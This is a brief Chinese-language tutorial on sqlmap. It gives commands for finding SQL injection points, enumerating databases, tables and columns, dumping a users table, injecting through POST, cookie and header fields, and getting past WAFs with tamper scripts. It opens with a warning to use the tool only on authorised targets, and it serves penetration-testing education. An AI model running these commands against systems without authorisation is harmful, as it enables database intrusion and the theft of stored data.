Sqlmap自动化SQL注入工具

sqlmap SQL注入自动化实战:自动检测注入、获取数据库名/表/数据、POST注入、Cookie注入、WAF绕过。

写在前面:合法学习边界

sqlmap 只在授权测试环境使用。对非授权目标进行 SQL 注入扫描可能触犯法律。

一、sqlmap 工作流程

sqlmap 工作流程
1
① 发现注入点 → ② 确定数据库 → ③ 枚举数据库 → ④ 读取表结构 → ⑤ Dump 数据

二、常用命令

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
# 自动检测注入(非交互)
sqlmap -u "http://target/page?id=1" --batch

# 从请求文件注入
sqlmap -r request.txt --batch

# 获取所有数据库
sqlmap -u "http://target/page?id=1" --dbs

# 获取表/列/数据
sqlmap -u "..." -D dbname --tables
sqlmap -u "..." -D dbname -T users --columns
sqlmap -u "..." -D dbname -T users --dump
1
2
3
4
5
6
7
8
# POST 数据注入
sqlmap -u "http://target/page" --data="id=1&name=test" --batch

# Cookie 注入
sqlmap -u "http://target/page" --cookie="id=1" --level=2

# Header 注入
sqlmap -u "http://target/page" --level=5

四、WAF 绕过

1
2
3
4
5
# 使用 tamper 脚本
sqlmap -u "..." --tamper=space2comment.py --batch

# 时间盲注延迟调整
sqlmap -u "..." --time-sec=5 --batch

五、小结

sqlmap 是 SQL 注入自动化的核心工具。--batch 实现全自动扫描,--level 控制注入检测深度,--tamper 应对 WAF 防护。